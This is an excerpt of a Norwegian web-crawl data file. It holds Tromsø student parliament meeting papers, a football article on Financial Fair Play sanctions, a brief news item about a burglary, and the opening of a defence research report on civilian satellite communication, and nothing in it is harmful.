men jeg har litt info \u00e5 dele med Studentparlamentet. Datoen vi mest trolig blir \u00e5 avholde boligm\u00f8tet blir den 21. Mars p\u00e5 kaf\u00e9 R\u00f8d p\u00e5 Nye Driv. Vi jobber fortsatt med opplegget, men vi har f\u00e5tt signaler om at dette er en dag det passer for Tromsbenken p\u00e5 Stortinget \u00e5 kunne m\u00f8te p\u00e5, i tillegg blir vi \u00e5 ta inn noen andre som kjenner eiendomsmarkedet i Troms\u00f8 godt, og student\u00f8konomi. Dette er et opplegg vi har troen p\u00e5. Ved siden av det har jobben med ny logo fortsatt, og det jobbes godt med det. Jeg kan ikke vente til \u00e5 presentere den nye logoen for parlamentet, som blir utrolig bra. Det er viktig i mine \u00f8yne \u00e5 ha en moderne og gjenkjennbar logo, og det mener jeg at vi f\u00e5r n\u00e5. I tillegg til dette har jeg og Marianne f\u00e5tt bekreftet fra Alta kommune at de jobber med vertsbymelding per dags dato, og at vi vil bli integrert i prosessen etter hvert. Dette er i s\u00e5 fall en seier for studentene i Alta \u00e5 f\u00e5 p\u00e5 plass. Og det viser at god lobbing fra oss som studenter har fungert i Alta kommune. Med vennlig hilsen Deres velferdsansvarlige Steffen Eriksen Haneboe\n\n\n\n11 \u00abFor hvem\u00bb Arkivref.: Dato: Orientering fra internasjonalt ansvarlig Kj\u00e6re parlamentsmedlemmer Jeg og styreleder for Sito har v\u00e6rt p\u00e5 m\u00f8te om reglement for tildeling av studentboliger. Dette var et effektivt og bra m\u00f8te, vedlagt til min orientering finner dere utkast til reglement for tildeling av boliger. Kom gjerne med skriftlige innspill til meg, styreleder eller noen i AU. Ellers har jeg jobbet med \u00e5 finne tall til internasjonal komite i NSO sin sp\u00f8rreunders\u00f8kelse, den er ganske omfattende og det er mye datainnhenting. Vi i AU har ogs\u00e5 gjennomg\u00e5tt universitetets strategi, utdanningsansvarlig skal orientere om dette. Arbeidsutvalget har ogs\u00e5 laget et reglement for tildeling av rom i studentgangen, se egen sak om dette. Jeg og leder var tilstede p\u00e5 Debutukas \u00e5rsm\u00f8te, her tok vi opp problematikken med mye fyll i debutuka, og jeg tok opp med de om tilbudet til internasjonale studenter som ofte kanskje kan f\u00f8le seg utenfor denne delen av semesterstart. Internasjonal komite i NSO har ogs\u00e5 laget et utkast til internasjonal plattform, jeg og leder for internasjonal komite har begynt \u00e5 gjennomg\u00e5 denne og skal komme med innspill f\u00f8r 15 mars da h\u00f8ringsfristen g\u00e5r ut. Denne ligger p\u00e5 parlamentets facebookgruppe om flere \u00f8nsker \u00e5 komme med innspill. Ting som jeg skal jobbe med framover er kampanje for utveksling i samarbeid med seksjon for internasjonalisering av studier og ansvarlig for utveksling p\u00e5 fakultetene romfordelingsstrukturen som vi i AU jobber sammen om. Vi har planlagt \u00e5 rydde kontorene i gangen i uke 9. I helga (14 16 februar) skal jeg delta p\u00e5 NSOs trippelkonferanse i Oslo, det gleder jeg meg veldig til. Den 13 februar er jeg og leder i Oslo for \u00e5 delta p\u00e5 en annen konferanse i forbindelse med fokuset p\u00e5 fyll og fest ved semesterstart. Jeg har n\u00e5 bedt om tilbakemelding ang\u00e5ende ex.fac p\u00e5 engelsk saken to ganger, men har ikke mottatt noe enda. Jeg skal f\u00f8lge denne saken ytterligere opp. Med Vennlig hilsen\n\n\n\n\n\n\n\n22 The Beat Happening Stakkevollvegen Troms\u00f8 Kontonr.: Studentparlamentet S\u00f8knad om oppstartsst\u00f8tte The Beat Happening s\u00f8ker herved om oppstartsst\u00f8tte p\u00e5 5000 kr hos Studentparlamentet til programmet v\u00e5rt i The Beat Happening er en nystarta konsertarrang\u00f8r med m\u00e5l \u00e5 presentere band og artister innenfor den eksperimentelle og alternative delen av pop, rock og elektronika. Vi \u00f8nsker \u00e5 skape en scene for de mer uetablerte artistene. Det er viktig med gode m\u00f8testeder der artister i st\u00f8peskjeen kan utvikle seg. Det skjer mye spennende i de alternative norske musikkmilj\u00f8ene, men det fins f\u00e5 scener for disse artistene utover de st\u00f8rste byene. Vi \u00f8nsker \u00e5 skape ei slik scene i Troms\u00f8. The Beat Happening best\u00e5r av et ungt milj\u00f8 av musikkinteresserte med et stort innslag av studenter. Styret best\u00e5r formelt av 4 personer og har et st\u00f8rre milj\u00f8 rundt klubben. Over 50% av disse er studenter. Konsertene v\u00e5re er \u00e5pne for alle, men studentene utgj\u00f8r en stor del av v\u00e5rt publikum. Vi er aktive p\u00e5 Universitetet og opererer blant annet med studentavslag. Vi \u00f8nsker \u00e5 etablere oss som en viktig akt\u00f8r i studentmilj\u00f8et i byen, blant annet gjennom \u00e5 etablere kontakt med nye Driv for mulige konserter p\u00e5 de mindre scenene deres. I 2014 planlegger vi totalt 10 konsertar med artister hovedsaklig fra andre delar av landet. Konsertene vil spenne over et vidt spekter av uttrykk innenfor alternativ rock, pop og elektronika. Vi programmerer fortl\u00f8pende, men dette er en forel\u00f8pig oversikt for f\u00f8rste halvdel av Her kan det skje endringer. I v\u00e5r vil konsertene v\u00e5re hovedsaklig v\u00e6re p\u00e5 Bastard. Forel\u00f8pig program Fredag 10.januar Lumikide Laurdag 1.februar Din Freundin Laurdag 8. februar - Hypertext Fredag 14. mars - Lovelovelove Fredag 4. april - VHS Dream Vennlig hilsen Esben Nedreb\u00f8\n\n23\n26 1 NAVN OG FORM\u00c5L Foreningens navn er The Beat Happening, den har sete i Troms\u00f8 og ble stiftet den 19. september Foreningens form\u00e5l er \u00e5: a) gi publikum anledning til \u00e5 oppleve levende musikk b) spre kunnskap om, \u00f8ke forst\u00e5elsen for alternativ rock/pop, elektronika og beslektede musikkformer c) samarbeide med andre organisasjoner og milj\u00f8, hvis dette kan bidra til en styrking av musikkmilj\u00f8et Foreningen er medlem av Norsk Rockeforbund. 2 MEDLEMSKAP a) enhver person som kan bifalle foreningens form\u00e5l kan bli medlem av foreningen. Ethvert medlem har rett og plikt til gjennom demokratiske avgj\u00f8relser - \u00e5 delta i foreningens ledelse og bestemme dens form og virksomhet. b) Kontingent og kontingentperiode fastsettes til enhver tid av styret. I spesielle tilfeller kan styret frita et medlem fra \u00e5 betale kontingent for et bestemt tidsrom. c) Medlemskap medf\u00f8rer bl.a billigere adgang til de fleste av foreningens arrangementer og enkelte tilbud som rettes kun til medlemmer av foreningen d) Et medlem som motarbeider foreningens virksomhet kan, etter \u00e5 ha forklart seg for styret, ekskluderes for en bestemt periode 3 ORGANISASJON Foreningens plikter og oppgaver ivaretas av: a) \u00c5rsm\u00f8tet som er foreningens \u00f8verste myndighet og best\u00e5r av medlemmene b) Styret som forest\u00e5r den daglige driften c) Medlemsm\u00f8tet som skal v\u00e6re et kontaktorgan mellom styret, musikerne og andre medlemmer av foreningen 4 \u00c5RSM\u00d8TET \u00c5rsm\u00f8tet skal avholdes innen 1. mars hvert \u00e5r. \u00c5rsm\u00f8tet skal: a) velge m\u00f8teleder og referent b) behandle styrets \u00e5rsberetning c) behandle styrets regnskap d) behandle innkomne forslag, som m\u00e5 v\u00e6re styret i hende senest 2 uke f\u00f8r \u00e5rsm\u00f8tet e) trekke opp retningslinjer for foreningens virksomhet f) velge: - minst 4 styremedlemmer, med minst 4 faste verv: leder, \u00f8konomiansvarlig, booking- ansvarlig, og PR-ansvarlig. - 1 eller flere vararepresentanter til styret - 1 revisor Alle velges for 1 \u00e5r, men minst 1 fra det gamle styret skal v\u00e6re representert i det nye styret \u00c5rsm\u00f8tet er beslutningsdyktig n\u00e5r det er lovlig innkalt, dvs. ved kunngj\u00f8ring senest 4 uker f\u00f8r det skal avholdes. Saksdokumentene skal v\u00e6re disponible for medlemmene senest en uke f\u00f8r \u00e5rsm\u00f8tet. Stemmeberettige er alle som har gyldig medlemskap n\u00e5r \u00e5rsm\u00f8tet avholdes. Vedtak fra \u00e5rsm\u00f8tet fattes med alminnelig flertall, dersom intet annet er nevnt i\n\n30 Studentparlamentet Arkivref.: 70/1314 Dato: Reglement for kontortildeling i Studentgangen 1 Avtalens form\u00e5l og omfang Reglementet gjelder for kontortildelinger i Teorifagbygget Hus XX (Herunder Studentgangen) ved Universitet i Troms\u00f8 Norges Arktiske Universitet (Herunder UIT), og er vedtatt av Studentparlamentet ved UIT. 2 S\u00f8knadsberettigete De organisasjoner som kan tildeles st\u00f8ttemidler over semesteravgiften, enten gjennom studentparlamentets tildelinger eller gjennom tildeling fra Studentutvalgene, er s\u00f8knadsberettigete. 3 Opplysningsplikt S\u00f8ker plikter \u00e5 gi riktige opplysninger som har betydning for vurderingen av s\u00f8knaden. Uriktige eller ikke oppgitte opplysninger av vesentlig betydning medf\u00f8rer at retten til kontor tilbaketrekkes. Studentparlamentet har rett til \u00e5 kontrollere opplysningene som er gitt i s\u00f8knaden. 4 S\u00f8knader, frister og saksbehandling 4.1 S\u00f8knader S\u00f8knad stiles til Studentparlamentets Arbeidsutvalg p\u00e5 fastsatt s\u00f8knadsskjema. Vedtak om kontorfordeling fattes av Studentparlamentet, etter innstilling fra Studentparlamentets Arbeidsutvalg Kontrakten skal fornyes \u00e5rlig. Det s\u00f8kes p\u00e5 vanlig m\u00e5te ogs\u00e5 for fornyelser. 4.2 S\u00f8knadsfrist S\u00f8knadsfristen for kontortildelinger er 1. April. 4.3 Saksbehandling Studentparlamentets Arbeidsutvalg er innstillende myndighet. Kontorfordeling vedtas p\u00e5 f\u00f8rste Studentparlamentsm\u00f8te etter s\u00f8knadsfristen. Kontorplass tildeles for perioden 1.juli til 30.juni p\u00e5f\u00f8lgende \u00e5r. 4.4 Vurderingskriterier Ved tildelingen av kontor skal f\u00f8lgende momenter ved s\u00f8knaden vektlegges: Aktivitet, medlemstall og behov. Det skal gj\u00f8res en skj\u00f8nnsmessig vurdering.\n\n32 S\u00f8knadsskjema for tildeling av kontor Navn Tilh\u00f8righet/avdeling E-post Eventuell tilh\u00f8righet forening/organisasjon S\u00f8kers telefonnummer Opplysninger ang\u00e5ende bruk av kontor Hvor mange i styret jobber daglig i studentorganisasjonen Foresl\u00e5tt fast kontortid (eks. hver dag fra 14-16) Opplysninger om styret. Navn og e-post Leder av organisasjonen \u00d8konomisk ansvarlig Krav til s\u00f8knad, legges som vedlegg. Referat fra \u00e5rsm\u00f8tet Medlemstall \u00c5rsberetning fra studentorganisasjonen Begrunnelse for behov for kontor S\u00f8kere godtar vilk\u00e5rene for s\u00f8knaden nedenfor. Dersom det oppgis uriktige opplysninger kan s\u00f8ker miste retten til kontor. S\u00f8keren skal ha gjort seg kjent med regelverket for tildeling av kontor. S\u00f8knaden sendes til\n\n33 ARBEIDUTVALGET 12/02/ /1314 Til: Studentparlamentets representanter M\u00f8tedato: 19/02/14 Suppleringsvalg m\u00f8teleder Studentparlamentets faste m\u00f8teleder har flyttet fra Troms\u00f8, og det er dermed n\u00f8dvendig \u00e5 velge ny fast m\u00f8teleder. M\u00f8teleders hovedoppgave er parlamentsm\u00f8tenes struktur og at disse blir holdt innenfor de rammene som studentparlamentet \u00f8nsker, og/eller parlamentets reglementer tilsier. M\u00f8te leder skal ha ansvar for Innlegg, replikker, rekkef\u00f8lge og taletid. Forslag til vedtak: \u00abStudentparlamentet vedtar at xxx velges som m\u00f8teleder.\u00bb Om n\u00e5v\u00e6rende vara til m\u00f8teleder skulle velges til fast m\u00f8teleder, foresl\u00e5r arbeidsutvalget at det velges ny vara til m\u00f8teleder. Om dette skulle skje, foresl\u00e5r arbeidsutvalget f\u00f8lgende vedtak: \u00abstudentparlamentet vedtar at yyy velges til vara for m\u00f8teleder\u00bb\n\n### M\u00f8tet starter n\u00f8yaktig klokken 16.15 v\u00e6r presis\\! Ta med studentbevis, dette gir tale- og stemmerett Bekreftelse p\u00e5 nedleggelse av Studentdemokratiet\n", "language": "no", "__index_level_0__": "4d8bd6b1-759a-4691-8f5c-341957abbda5"}
{"url": "https://www.nettavisen.no/sport/fotball/city-og-psg-kan-straffes-knallhardt/5387134.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:33:35Z", "text": "\n\n# City og PSG kan straffes knallhardt\n\n# Dette er de beste pulsklokkene\n\nSt\u00e5r i fare for \u00e5 bli nektet spillerkj\u00f8p.\n\nTidligere denne m\u00e5neden ble Barcelona straffet knallhardt av UEFA, som ila katalanerne overgangsnekt i de to neste overgangsvinduene. Dette som f\u00f8lge av at klubben har brutt reglene som gjelder for kj\u00f8p av utenlandske spillere under 18 \u00e5r.\n\nN\u00e5 kan Manchester City og Paris Saint-Germain st\u00e5 for tur, melder The Telegraph.\n\n**Nektes spillerkj\u00f8p?**  \nKlubbene st\u00e5r if\u00f8lge avisen i stor fare for \u00e5 bli straffet for brudd p\u00e5 Financial Fair Play-reglene. Financial Control Body ble opprettet for \u00e5 overv\u00e5ke \u00abgr\u00e5dighet, uv\u00f8ren pengebruk og \u00f8konomisk vanvidd.\u00bb\n\nDe to storklubbene skal v\u00e6re to av mindre enn 20 klubber, som st\u00e5r i fare for \u00e5 bli straffet, med mindre \u00abnye, dramatiske bevis\u00bb dukker opp i l\u00f8pet av de neste 48 timene. Det er lite trolig at noen av lagene kommer til \u00e5 bli utestengt fra europeiske turneringer.\n\nDet mer mer trolig at en eventuell straff vil bli en saftig bot eller overgangsnekt i forest\u00e5ende overgangsvinduer.\n\nSaken dukker opp p\u00e5 et sv\u00e6rt ubeleilig tidspunkt for Manchester City, som fremdeles er med i gullkampen i Premier League og \u00f8nsker naturlig nok \u00e5 holde fokus der.  \n\nManchester United, Arsenal og Chelsea har alle bekreftet at de ikke er under etterforkning. Det betyr at klubbene har holdt seg innenfor grensen p\u00e5 37 millioner pund i minus.\n\n**Rivalene kan anke**  \nEtter \u00e5 ha brukt 149 millioner pund p\u00e5 spillerkj\u00f8p de siste par \u00e5rene, har det aldri v\u00e6rt tvil om at denne dagen ville komme for Manchester City. Fors\u00f8kene p\u00e5 \u00e5 utligne tapet, blant annet gjennom ti\u00e5rsavtalen med flyselskapet Etihad, har blitt fulgt n\u00f8ye av The Financial Control Body. Avtalen skal v\u00e6re verdt rundt 350 millioner pund.\n\nKlubber som blir straffet av FFP-reglene kommer ikke til \u00e5 bli navngitt f\u00f8r 5. mai. Deretter vil klubbene f\u00e5 muligheten til \u00e5 anke.\n\nPSG skal allerede ha varslet at de kommer til \u00e5 kjempe seg fri fra alle fors\u00f8k p\u00e5 \u00e5 straffe dem.\n\nI FFP-reglene st\u00e5r det ogs\u00e5 at konkurrerende klubber kan klage p\u00e5 at en en eventuell straff er for mild. Det betyr at dersom City blir funnet skydig og likevel f\u00e5r konkurrere i Champions League neste \u00e5r, kan laget som blir nummer fem i Premier League, sende inn en klage.\n\n\n\n# Fikk sparken etter hatefull Liverpool-melding\n\n\n\n# Premier League-spiller ruset seg foran kamera\n\n\n\n# \u00c5tte \u00e5r senere stjal han kona til idolet\n\n\n\n# \\- Hyggelig for norsk fotball \u00e5 ha en s\u00e5nn spiller\n\n", "language": "no", "__index_level_0__": "2754ce6d-77f0-4025-a978-9b877870f67f"}
{"url": "https://www.nrk.no/rogaland/innbrudd-hos-bedrift-1.13183069", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-25T00:22:52Z", "text": "17\\. oktober 2016 kl. 12:42\n\n## Innbrudd hos bedrift\n\nDet er stj\u00e5let datautstyr fra en bedrift i Haugesund, politiet har v\u00e6rt p\u00e5 stedet og opprettet sak.\n\n", "language": "no", "__index_level_0__": "98543930-4362-4224-a4e9-e20c37635688"}
{"url": "http://docplayer.me/1198475-Ffi-rapport-bruk-av-sivil-satellittkommunikasjon-i-nettverksbasert-forsvar-innledende-betraktninger-palhaugen-lene-ffi-rapport-2003-00332.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:16:49Z", "text": "\n\n9 7 BRUK AV SIVIL SATELLITTKOMMUNIKASJON I NETTVERKSBASERT FORSVAR - Innledende betraktninger 1 INNLEDNING Forsvaret er i ferd med \u00e5 orientere seg mot et nettverksbasert forsvar (NbF), der milit\u00e6re kapasiteter knyttes sammen ved hjelp av informasjons- og kommunikasjonsteknologi. M\u00e5let er gevinst i form av \u00f8kt stridsevne gjennom \u00f8kt tempo, \u00f8kt presisjon og \u00f8kt overlevelse, fortrinnsvis uten \u00e5 \u00f8ke kostnadene. Dette skal skje ved at norske styrker oppn\u00e5r og utnytter et informasjonsfortrinn i forhold til motstanderen. Et felles og oppdatert situasjonsbilde er sentralt i konseptet, slik at aktivitetene blir synkronisert basert p\u00e5 dette. Det inneb\u00e6rer st\u00f8rre grad av informasjonsflyt enn i dagens forsvar, ved \u00e5 samle data fra sensorer og distribuere informasjon til beslutningstagere og andre relevante deltagere p\u00e5 nettet. I Forsvarets Konsept for nettverksbasert anvendelse av milit\u00e6rmakt Grunnlag fremheves det innledningsvis at mobile l\u00f8sninger vil v\u00e6re \u00e5 foretrekke, og at tilstrekkelig kapasitet er en forutsetning. Satellittkommunikasjon kan v\u00e6re et viktig bidrag i et slikt nettverk. Det amerikanske forsvaret var f\u00f8rst ute med \u00e5 definere et slikt konsept og har kommet lengst med utviklingen. Parallelt har det v\u00e6rt en trend de siste \u00e5rene at amerikanerne i st\u00f8rre grad har tatt i bruk sivile satellitter i milit\u00e6re operasjoner for \u00e5 dekke det \u00f8kende behovet for informasjonsutveksling. Forsvarets oppgaver er mange, og behovet for kommunikasjonsl\u00f8sninger vil variere med oppgavene. Satellittkommunikasjon er et vidt begrep, med et bredt spekter av anvendelser, tjenester, utstyr og terminaler. Denne rapporten tar for seg satellittkommunikasjon generelt, inklusive hva operasjon av en satellitt inneb\u00e6rer. Det inneholder ogs\u00e5 en oppdatering p\u00e5 sivile satellittsystemer og operat\u00f8rer og avslutningsvis noen betraktninger rundt bruk av sivile satellitter. Vurderinger av Forsvarets behov for satellittkommunikasjon eller forslag til l\u00f8sninger for satellittkommunikasjon i et NbF er ikke omfattet av denne rapporten. Taktisk satellittkommunikasjon er tidligere diskutert i (1). 2 GENERELT OM SATELLITTKOMMUNIKASJON 2.1 Anvendelser av satellittkommunikasjon Opprinnelig ble kommunikasjonssatellitter tatt i bruk p\u00e5 60-tallet for kommunikasjon over lange avstander og mellom kontinenter, spesielt for telefon- og TV-overf\u00f8ringer. Etter hvert har anvendelsene blitt mange, og satellittkommunikasjon har visse fortrinn sammenlignet med jordbundne nettverk: Det er velegnet for kringkasting og multikasting Brukerne kan ha stor geografisk spredning\n\n\n\n10 8 Det tar kort tid \u00e5 sette opp nye forbindelser over store avstander, og det er enkelt \u00e5 rekonfigurere eksisterende FN-organet ITU (The International Telecommunications Union) allokerer radiofrekvenser for gitte baneposisjoner til nasjoner p\u00e5 verdensbasis, noe som er en forholdsvis tidkrevende prosess. Det m\u00e5 ogs\u00e5 koordineres med landene som vil dekkes av nye satellitter i forhold til forstyrrelser av allerede eksisterende kommunikasjon. ITU har kategorisert tjenestene, blant annet i faste tjenester, kringkasting og mobile tjenester Faste satellittjenester De faste satellittjenestene har tradisjonelt v\u00e6rt transport av interkontinental og internasjonal trafikk over lange avstander mellom nasjonale telekomnett. Jordstasjonene er utstyrt med store antenner med meters diameter. Flere land benytter ogs\u00e5 satellitt som en del av det nasjonale telekomnettet, noe som ogs\u00e5 er tilfellet i Norge. Svalbard knyttes sammen med det nasjonale nettet for overf\u00f8ring av ulike typer trafikk, som ordin\u00e6r telefoni, mobiltelefoni og Internettbruk. VSAT-systemer (Very Small Aperture Terminal) er en type faste satellittjenester som ofte er brukt for kommunikasjon i store bedrifter med kontorer spredt over hele verden, eller i omr\u00e5der med d\u00e5rlig utbygde bakkenettverk, som for eksempel \u00d8st-Europa. Som navnet indikerer er disse antennene mindre, typisk en meter i diameter. Det er vanlig \u00e5 skille mellom stjernenett og maskenett. Et stjernenett brukes gjerne hvis utekontorer skal knyttes til et hovedkontor, og behovet for kommunikasjon mellom utekontorene er lavt. Utestasjonene kan bare kommunisere med en hovedstasjon i et slikt nettverk, og kommunikasjon mellom to utestasjoner vil ha dobbel tidsforsinkelse. I et maskenett kan alle stasjonene kommunisere direkte med hverandre, enten med faste forbindelser eller etter behov, der hovedstasjonen kontrollerer trafikken Satellittkringkasting TV-kringkasting har v\u00e6rt en av de vanligste bruksomr\u00e5dene for kommunikasjonssatellitter. Satellitter kan formidle videosignaler til sendere p\u00e5 bakken, til kabel- og fellesantenneanlegg eller direkte til sluttbrukeres parabolmottagere. De siste \u00e5rene har det skjedd en gradvis overgang til digitale sendinger, og s\u00e5 sm\u00e5tt har det ogs\u00e5 dukket opp interaktive tjenester. Med systemer der sluttbrukeren har en returkanal tilbys bredb\u00e5nds- og multimediatjenester som interaktiv TV, innholdsdistribuering og Internett, og skillet mellom faste tjenester og kringkasting viskes ut Mobile og personlige satellittjenester De f\u00f8rste mobile satellittjenestene kom p\u00e5 begynnelsen av \u00e5ttitallet for kommunikasjon med skip p\u00e5 \u00e5pent hav. Det var den internasjonale organisasjonen Inmarsat som stod for disse tjenestene, som krevde store antenner om bord. Etter hvert ble utstyret mindre og tjenestene ble utvidet til \u00e5 omfatte fly og kj\u00f8ret\u00f8y. De senere \u00e5rene har Inmarsat lansert tjenester for forholdsvis sm\u00e5 og b\u00e6rbare terminaler, som havner i kategorien personlige tjenester, der hver enkelt sluttbruker har direkte forbindelse via egne terminaler. P\u00e5 nittitallet ble det planlagt en rekke satellittsystemer for personlige tjenester p\u00e5 h\u00e5ndholdte\n\n\n\n11 9 terminaler, og noen av dem har blitt realisert de siste \u00e5rene. Dette er telefoni- og lavrate datatjenester for bruk der bakkebaserte mobilnett ikke er utbygd. Planer for egne systemer for globale bredb\u00e5ndstjenester har v\u00e6rt lansert av flere, men ingen av disse har blitt realisert forel\u00f8pig. 2.2 Satellitteknikk Systemer for satellittkommunikasjon deles gjerne i et romsegment og et bakkesegment. Romsegmentet best\u00e5r av en eller flere satellitter, og bakkesegmentet best\u00e5r av alle jordstasjonene som mottar og sender trafikk. Fasiliteter p\u00e5 bakken for trafikkstyring og kontroll og monitorering av satellitten kan kalles kontrollsegmentet, men defineres ofte som en del av romsegmentet. Figur 2.1 viser komponentene i satellittkommunikasjon. Figur 2.1 Satellittkommunikasjon Romsegmentet En satellitts funksjoner kan deles i to grupper: nyttelast og plattform. Nyttelasten for en kommunikasjonssatellitt utgj\u00f8res av transpondere og antenner. Den karakteriseres ved dekningsomr\u00e5der, antall transpondere, frekvensb\u00e5nd, polarisasjoner og sendeeffekt. Jordstasjonene sender opp signaler i et gitt frekvensb\u00e5nd og med bestemt polarisasjon innenfor dekningsomr\u00e5det, og hovedfunksjonene til nyttelasten er \u00e5 motta signalene, forsterke og frekvensforskyve disse med minst mulig tillegg av st\u00f8y, og til slutt sende signalene til jorda med riktig frekvens og polarisasjon. Frekvensb\u00e5ndet for satellitten er delt i kanaler.\n\n\n\n12 10 Mer avanserte satellitter har flerstr\u00e5leantenner for \u00e5 gi en bedre tilpasning av dekningsomr\u00e5det. Kompleksiteten \u00f8ker fordi nyttelasten m\u00e5 kunne rute signalene til den str\u00e5len som mottageren befinner seg. Fordelen er h\u00f8yere sendereffekt i str\u00e5lene og at frekvenser kan gjenbrukes i str\u00e5ler som er tilstrekkelig geografisk atskilt. Ombord-prosessering av signalene i s\u00e5kalte regenerative satellitter gir \u00f8kt kapasitet og motstandsdyktighet mot interferens og gj\u00f8r det mulig \u00e5 bruke mindre og enklere terminaler. Plattformens funksjon er \u00e5 s\u00f8rge for at nyttelasten kan gj\u00f8re jobben sin. Radioforbindelsene til og fra satellitten kalles opp- og nedlinker. I noen satellittkonstellasjoner kommuniserer satellittene ogs\u00e5 direkte med hverandre via intersatellittlinker. Romsegmentet er n\u00e6rmere beskrevet i avsnitt Bakkesegmentet Jordstasjoner finnes i tre klasser: Brukerstasjoner, som h\u00e5ndholdte og b\u00e6rbare terminaler, mobile stasjoner, VSAT-stasjoner og parabolmottagere Gatewayer, som gir grensesnittet mellom romsegmentet og nettverk p\u00e5 bakken. Et annet begrep er teleport Servicestasjoner, som s\u00e5kalte hub er og sendestasjoner som gir forbindelse til tjenesteleverand\u00f8rer og mottar og sender informasjon til og fra brukerstasjonene via romsegmentet St\u00f8rrelsene varierer fra under 10 cm til flere titalls meter, og avhenger av trafikkmengde og type som skal kommuniseres Kommunikasjonen De fleste frekvensene som brukes i satellittkommunikasjon tilh\u00f8rer UHF-, SHF- og EHFb\u00e5ndene. Delb\u00e5nd betegnes med bokstaver, og de vanligste i sivil satellittkommunikasjon er listet nedenfor: L-b\u00e5ndet: 1 2 GHz S-b\u00e5ndet: 2 4 GHz C-b\u00e5ndet: 4 8 GHz Ku-b\u00e5ndet: GHz Ka-b\u00e5ndet: GHz Mest brukt for faste tjenester og kringkasting er C, Ku og Ka-b\u00e5ndene. S- og L-b\u00e5ndet brukes prim\u00e6rt til mobile tjenester, for eksempel til skip, og meldingstjenester. Lavere frekvenser krever st\u00f8rre antenner for \u00e5 for \u00e5 oppn\u00e5 minimum signalstyrke. Satellitter i lavere baner har bedre signalstyrke som tillater mindre og lettere terminaler og mindre tidsforsinkelse. Et signal bruker litt mer enn et kvart sekund p\u00e5 veien til og fra en geostasjon\u00e6r satellitt, som utgj\u00f8r en merkbar forsinkelse i en samtale. Ulike aksessteknikker h\u00e5ndterer ressursdelingen av en transponder mellom brukere geografisk atskilt i dekningsomr\u00e5det. Ressursene kan deles i faste porsjoner, eller tildeles etter behov. Det\n\n\n\n13 11 siste er mer fleksibelt, men krever mer avansert utstyr. FDMA (Frequency Division Multiple Access): Det totale frekvensomr\u00e5det i transponderen deles i flere mindre b\u00e5nd som de ulike jordstasjonene kan bruke. Effekten i transponderen fordeles p\u00e5 brukerne. Fordelen med FDMA er at metoden er enkelt og velpr\u00f8vd. Ulempen er at utnyttelsen av transponderen ikke er s\u00e5 effektiv, fordi transponderen m\u00e5 opereres p\u00e5 lavere effekt enn metningspunktet for \u00e5 unng\u00e5 intermodulasjonsprodukter. Dessuten, hvis kapasiteten skal omfordeles mellom brukerne, vil alle v\u00e6re n\u00f8dt til \u00e5 skifte frekvens. TDMA (Time Division Multiple Access): Hver bruker vil ha full tilgang p\u00e5 transponderens b\u00e5ndbredde og effekt p\u00e5 omgang, det vil si i forh\u00e5ndsbestemte tidsluker. Dette utnytter transponderen mer effektivt enn FDMA-teknikken, men krever avansert utstyr for tidskontroll for \u00e5 synkronisere jordstasjonene. CDMA (Code Division Multiple Access): Med denne metoden har brukerne tilgang til hele b\u00e5ndbredden i transponderen hele tiden og en andel av totaleffekten. Dette kalles ogs\u00e5 spredt spektrum-teknikk, og en m\u00e5te \u00e5 skille signalene p\u00e5 er \u00e5 fasemodulere disse med forskjellige tilfeldig bin\u00e6re sekvenser (koder). Teknikken har v\u00e6rt vanlig i milit\u00e6r satellittkommunikasjon, fordi det beskytter mot interferens og jamming. ALOHA: Dette er en tilfeldig aksessteknikk som tillater alle brukerne \u00e5 sende hele tiden. Sannsynligheten for kollisjoner er stor og effektiviteten er d\u00e5rlig. S-ALOHA (Slotted ALOHA) bedrer effektiviteten ved at starttidspunkter for transmisjon synkroniseres, men er fortsatt mindre effektivt enn FDMA, TDMA og CDMA. Det kan v\u00e6re egnet for korte meldinger med mye d\u00f8dtid i mellom. DAMA (Demand Assigned Multiple Access): Dette er flere protokoller basert p\u00e5 ulike aksessteknikker, som reserverer kapasitet f\u00f8r trafikken starter. 2.3 Satellittbaner En satellitt beveger seg i bane rundt jorden, og bevegelsen f\u00f8lger Keplers tre lover: 1. Satellittbanen er en ellipse med jorda i det ene brennpunktet. En sirkul\u00e6r bane er et spesialtilfelle av en ellipse. 2. Vektorradiusen sveiper over like store arealer for et gitt tidsintervall. Det vil si at satellitten vil bevege seg saktere n\u00e5r den er langt fra jorda enn n\u00e5r den er n\u00e6r. 3. Kvadratet av oml\u00f8pstiden er proporsjonalt med tredje potens av den lange halvaksen i banen. Utgangspunktet for lovene er at sentripetalkraften for satellitten balanserer tyngdekraften fra jorden, og de er utledet blant annet i (2). I realiteten vil flere krefter p\u00e5virke en satellitts bane, for eksempel gravitasjon fra sola og m\u00e5nen, og vil over tid gi avvik fra banen som m\u00e5 korrigeres. Det er vanlig innenfor satellittkommunikasjon \u00e5 beskrive en banes plan og form i et geosentrisk ekvatorialt koordinatsystem, og seks parametere er n\u00f8dvendig for \u00e5 angi satellittens posisjon ved et gitt tidspunkt.\n\n\n\n14 12 Kommunikasjonssatellitter g\u00e5r som regel i sirkul\u00e6re baner, og det er vanlig \u00e5 skille mellom tre typer: lave jordbaner (Low Earth Orbit LEO), mellomh\u00f8ye baner (Medium Earth Orbit MEO) og geostasjon\u00e6re baner (Geostationary Earth Orbit GEO). Satellitter i GEO befinner seg km over ekvator og beveger seg en runde i retning \u00f8st i l\u00f8pet av et d\u00f8gn. Sett fra et punkt p\u00e5 jorden vil det virke som om den ikke beveger seg. Dekningen er dermed konstant over et stort omr\u00e5de, opp mot en tredjedel av jordas overflate. Den geostasjon\u00e6re banen har derfor v\u00e6rt fortrukket for satellittkommunikasjon i 35 \u00e5r, og er etter hvert blitt en begrenset naturressurs med over 500 eksisterende og planlagte satellitter. Satellitter som bruker de samme frekvensene b\u00f8r v\u00e6re atskilt med 2 3 (3). Plassering av en satellitt i riktig bane gj\u00f8res i flere operasjoner. En m\u00e5te \u00e5 gj\u00f8re dette p\u00e5 er \u00e5 f\u00f8rst skyte den opp fra jorden med en rakett til en elliptisk bane, og deretter fyre av en motor p\u00e5 satellitten i flere omganger til banen er som planlagt. P\u00e5 nittitallet ble flere satellitter i LEO og MEO planlagt og en del av dem 